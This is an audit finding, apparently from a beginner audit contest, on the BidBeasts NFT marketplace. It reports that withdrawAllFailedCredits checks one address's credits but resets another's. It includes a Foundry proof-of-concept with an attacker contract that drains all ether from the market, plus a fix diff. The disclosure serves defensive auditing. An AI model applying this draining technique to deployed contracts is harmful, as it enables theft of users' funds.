Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Wrong check in `BidBeastsNFTMarketPlace::withdrawAllFailedCredits` allows theft of all funds in market

0xicelatte

Wrong check in BidBeastsNFTMarketPlace::withdrawAllFailedCredits allows theft of all funds in market

Description

  • Under normal circumstances, users should only be allowed to withdraw their own failed credits

  • BidBeastsNFTMarketPlace::withdrawAllFailedCredits checks the failed transfer credits of the _receiver but updates the failed transfer credits of the msg.sender. This allows _receiver to always have failed credits if the msg.sender is different which then allows an attacker to repeatedly call BidBeastsNFTMarketPlace::withdrawAllFailedCredits until all funds are gone.

function withdrawAllFailedCredits(address _receiver) external {
&> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
&> failedTransferCredits[msg.sender] = 0;
&> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • High likelihood as there is direct financial incentive to steal all user funds and the attacker can force failed credits to happen by using a bad contract

Impact:

  • Direct loss of all user funds in current bids

  • Direct loss of all failed to transfer credits

Proof of Concept

Place the following into BidBeastsMarketPlaceTest.t.sol.

function _listNFT(uint256 _tokenID) internal {
vm.startPrank(SELLER);
nft.approve(address(market), _tokenID);
market.listNFT(_tokenID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
}
​
function testStealAllFunds() public {
// step 1: mint and list 2 NFTs
_mintNFT();
_mintNFT();
_listNFT();
_listNFT(1);
​
// step 2: legitimate bid on first NFT
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE}(TOKEN_ID);
​
// step 3: attacker bids on second NFT using BadContract
BadContract bc = new BadContract{value: 1 ether}(market, nft);
bc.bid();
​
// step 4: attacker creates failed transfer credits by bidding again
address attacker = makeAddr("attacker");
vm.deal(attacker, 2 ether);
vm.prank(attacker);
market.placeBid{value: 2 ether}(1);
​
// balance of market is 4 ether: 1 ether from from BIDDER_1 bid, 1 ether failed transfer credit from BadContract and 2 ether bid from attacker
assertEq(4 ether, address(market).balance, "Unexpected market ether balance");
assertEq(0, attacker.balance, "Unexpected attacker ether balance");
​
// step 5: attacker leverages failed credits to drain market
vm.startPrank(attacker);
for (uint i = 0; i < 4; i++) {
market.withdrawAllFailedCredits(address(bc));
}
assertEq(0, address(market).balance, "Unexpected market balance after attack");
assertEq(4 ether, attacker.balance, "Unexpected attacker balance after attack");
}
​
...
}
​
contract BadContract {
BidBeastsNFTMarket market;
BidBeasts nft;
uint256 public constant TOKEN_ID = 1;
uint256 public constant MIN_PRICE = 1 ether;
​
constructor(BidBeastsNFTMarket _market, BidBeasts _nft) payable {
market = _market;
nft = _nft;
}
​
function bid() external {
market.placeBid{value: MIN_PRICE}(TOKEN_ID);
}
// no receive or fallback function to ensure failed credits are created
}

Recommended Mitigation

  1. Verify that msg.sender has failed transfer credits, not _receiver

  2. Send failed credits to _receiver, not msg.sender

function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.